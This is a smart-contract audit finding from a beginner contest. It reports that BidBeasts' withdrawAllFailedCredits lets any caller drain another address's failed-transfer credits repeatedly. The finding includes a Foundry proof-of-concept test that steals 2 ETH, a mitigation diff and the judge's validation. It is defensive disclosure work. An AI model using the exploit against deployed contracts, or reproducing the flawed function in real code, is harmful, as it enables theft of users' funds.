Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Withdrawal of Others’ failedTransferCredits via withdrawAllFailedCredits

Root + Impact

Description

  • The withdrawAllFailedCredits(address _receiver) function reads failedTransferCredits[_receiver] into amount, but then clears failedTransferCredits[msg.sender] and sends amount to msg.sender.

  • This allows any caller to steal someone else’s credited balance by passing that victim’s address as _receiver. The victim’s mapping entry is not cleared, so the attacker can repeatedly drain or block withdrawals.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; // BUG: clears wrong mapping entry
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Wrong account cleared: The function reads the victim’s credit but zeros out the caller’s mapping entry (failedTransferCredits[msg.sender] = 0) instead of zeroing failedTransferCredits[_receiver].

  • Improper authorization: There is no check that msg.sender is allowed to withdraw _receiver’s credits (no msg.sender == _receiver or owner-only guard).

  • Checks-Effects-Interactions order broken: The effects (clearing the mapping) are applied to the wrong account; interactions (external call) occur after a wrong effect, violating intended checks-effects-interactions semantics.


    Because of (1) and (2), the function effectively gives any caller the ability to request the amount belonging to any other address and be paid that amount.


Impact:

  • Immediate theft of credited ETH from the contract by any attacker. Because the victim’s stored credit is not cleared, the attack can be repeated or used to prevent the legitimate owner from ever withdrawing.


Proof of Concept

  • When the rejector reverts upon receiving a refund, _payout falls back to recording the value in failedTransferCredits[rejector] (this is the contract’s “fallback credit” mechanism).

  • Then the attacker calls withdrawAllFailedCredits(rejector). This function reads the credits of _receiver, but resets failedTransferCredits[msg.sender] to zero, and finally transfers the amount to msg.sender (the attacker). As a result, the attacker takes the credits that belong to rejector, while the mapping entry for rejector remains uncleared → enabling repeated theft or preventing the rightful owner from withdrawing.

  • Test assertion: The attacker’s balance increases by the corresponding amount, while the victim’s (rejecting’s) failedTransferCredits remain unchanged.

function test_withdrawAllFailedCreditsExploit() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), STARTING_BALANCE);
vm.prank(address(rejector));
market.placeBid{value: 2 ether}(TOKEN_ID);
// highest bid should be rejector with 2 ETH
BidBeastsNFTMarket.Bid memory bid = market.getHighestBid(TOKEN_ID);
assertEq(bid.bidder, address(rejector));
assertEq(bid.amount, 2 ether);
// BIDDER_1 outbids with 3 ETH -> market will try to refund rejector (which will revert),
// so market should increment failedTransferCredits[rejector] by 2 ETH
vm.prank(BIDDER_1);
market.placeBid{value: 3 ether}(TOKEN_ID);
// verify failedTransferCredits for rejector is 2 ether
uint256 creditsRejecting = market.failedTransferCredits(address(rejector));
assertEq(creditsRejecting, 2 ether, "expected rejector to have 2 ETH credit");
// attacker calls vulnerable withdrawAllFailedCredits and passes the rejector address.
// Vulnerability: withdrawAllFailedCredits reads failedTransferCredits[_receiver] then sets failedTransferCredits[msg.sender]=0
// and sends the amount to msg.sender => attacker receives the funds for victim
address attacker = address(0x5);
uint256 attackerBalanceBefore = attacker.balance;
vm.prank(attacker);
market.withdrawAllFailedCredits(address(rejector));
// attacker should have received 2 ETH (stolen)
uint256 attackerBalanceAfter = attacker.balance;
assertEq(attackerBalanceAfter - attackerBalanceBefore, 2 ether, "attacker did not receive stolen funds");
// crucial: victim's failedTransferCredits should remain unchanged (i.e., still 2 ETH) in the buggy contract
uint256 creditsRejectingAfter = market.failedTransferCredits(address(rejector));
assertEq(creditsRejectingAfter, 2 ether, "victim's credits should remain (vulnerability)");
}

Recommended Mitigation

  • Safest / most straightforward: Only allow the mapped holder to withdraw (i.e., msg.sender must equal _receiver), and clear the mapping before sending funds (checks-effects-interactions).

  • More flexible: Allow the owner to withdraw on behalf of others, but ensure the mapping is properly cleared and appropriate permission checks are in place.

@@ -235,8 +237,8 @@ contract BidBeastsNFTMarket is Ownable(msg.sender) {
/**
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.